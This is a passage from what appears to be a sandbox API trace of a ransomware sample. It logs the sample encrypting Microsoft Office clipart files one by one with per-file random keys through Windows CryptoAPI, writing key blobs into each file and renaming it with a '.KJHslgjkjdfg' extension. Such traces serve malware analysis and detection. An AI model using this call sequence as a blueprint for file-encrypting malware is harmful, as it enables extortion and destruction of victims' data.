lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.246] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.246] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.246] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2fdc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2fdc, lpOverlapped=0x0) returned 1 [0218.247] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2fe0, dwBufLen=0x2fe0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2fe0) returned 1 [0218.248] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.248] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2fe0, lpOverlapped=0x0) returned 1 [0218.248] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.248] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x30b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.248] SetEndOfFile (hFile=0x130) returned 1 [0218.251] GetProcessHeap () returned 0x990000 [0218.251] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.251] GetProcessHeap () returned 0x990000 [0218.251] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.251] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf.kjhslgjkjdfg")) returned 1 [0218.253] CloseHandle (hObject=0x130) returned 1 [0218.253] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2764, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00795_.WMF", cAlternateFileName="")) returned 1 [0218.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.254] GetProcessHeap () returned 0x990000 [0218.254] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.254] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.254] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.254] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0218.257] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.257] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.257] GetProcessHeap () returned 0x990000 [0218.257] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.257] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.257] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.257] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.257] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.257] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.257] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.257] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.258] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.258] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.258] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.258] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.258] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2764, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2764, lpOverlapped=0x0) returned 1 [0218.260] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2770, dwBufLen=0x2770 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2770) returned 1 [0218.260] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.260] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2770, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2770, lpOverlapped=0x0) returned 1 [0218.260] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.260] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.260] SetEndOfFile (hFile=0x130) returned 1 [0218.263] GetProcessHeap () returned 0x990000 [0218.263] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.263] GetProcessHeap () returned 0x990000 [0218.263] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.263] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf.kjhslgjkjdfg")) returned 1 [0218.265] CloseHandle (hObject=0x130) returned 1 [0218.265] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5ec100, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5ec100, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x9b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00882_.WMF", cAlternateFileName="")) returned 1 [0218.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.268] GetProcessHeap () returned 0x990000 [0218.268] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.268] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.268] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.268] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.268] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.268] GetProcessHeap () returned 0x990000 [0218.268] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.268] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.268] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.268] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.271] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.271] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.271] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.271] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.271] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.271] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.271] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.272] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9b0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9b0, lpOverlapped=0x0) returned 1 [0218.272] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9b0, dwBufLen=0x9b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9b0) returned 1 [0218.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.272] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9b0, lpOverlapped=0x0) returned 1 [0218.272] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.272] SetEndOfFile (hFile=0x130) returned 1 [0218.275] GetProcessHeap () returned 0x990000 [0218.275] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.275] GetProcessHeap () returned 0x990000 [0218.275] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.275] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf.kjhslgjkjdfg")) returned 1 [0218.277] CloseHandle (hObject=0x130) returned 1 [0218.277] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01006_.WMF", cAlternateFileName="")) returned 1 [0218.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.278] GetProcessHeap () returned 0x990000 [0218.278] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.278] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.278] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.278] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0218.281] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.281] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.281] GetProcessHeap () returned 0x990000 [0218.281] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.281] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.281] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.281] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.281] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.281] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.281] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.281] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.281] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.281] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.281] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.281] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.282] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x634, lpOverlapped=0x0) returned 1 [0218.282] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x640, dwBufLen=0x640 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x640) returned 1 [0218.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.282] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x640, lpOverlapped=0x0) returned 1 [0218.282] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.282] SetEndOfFile (hFile=0x130) returned 1 [0218.285] GetProcessHeap () returned 0x990000 [0218.285] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.285] GetProcessHeap () returned 0x990000 [0218.285] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.285] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf.kjhslgjkjdfg")) returned 1 [0218.287] CloseHandle (hObject=0x130) returned 1 [0218.287] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x865cd000, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x865cd000, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x2734, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01252_.WMF", cAlternateFileName="")) returned 1 [0218.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.288] GetProcessHeap () returned 0x990000 [0218.288] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.288] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.288] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.288] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0218.290] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.291] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.291] GetProcessHeap () returned 0x990000 [0218.291] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.291] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.291] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.291] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.291] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.291] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.291] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.291] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.291] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.291] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.292] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2734, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2734, lpOverlapped=0x0) returned 1 [0218.292] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2740, dwBufLen=0x2740 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2740) returned 1 [0218.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.293] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2740, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2740, lpOverlapped=0x0) returned 1 [0218.293] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.293] SetEndOfFile (hFile=0x130) returned 1 [0218.294] 